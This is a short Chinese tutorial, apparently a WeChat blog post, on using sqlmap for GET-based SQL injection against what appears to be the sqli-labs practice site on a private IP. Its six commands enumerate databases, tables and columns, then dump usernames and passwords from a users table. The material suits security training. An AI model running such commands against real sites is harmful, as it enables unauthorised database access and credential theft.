sqlmap 使用

需要安装python2的环境

使用方法:

用最基础的get型注入开始

1、当我们发现注入点的时候,

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1"

2、查看所有的数据库

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dbs

3、查看当前使用的数据库

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --current-db

4、发现使用的是security数据库,接下来对此数据库进行查询

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --tables -D "security"

5、查出所有表以后,对users表的列名进行查询

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --columns -T "users" -D "security"

6、users表中的列名已经知道了,可以直接查出所有数据

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dump -C "id,username,password" -T "users" -D "security"



在“用户”-》“.sqlmap”-》“output”可看到查询结果

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。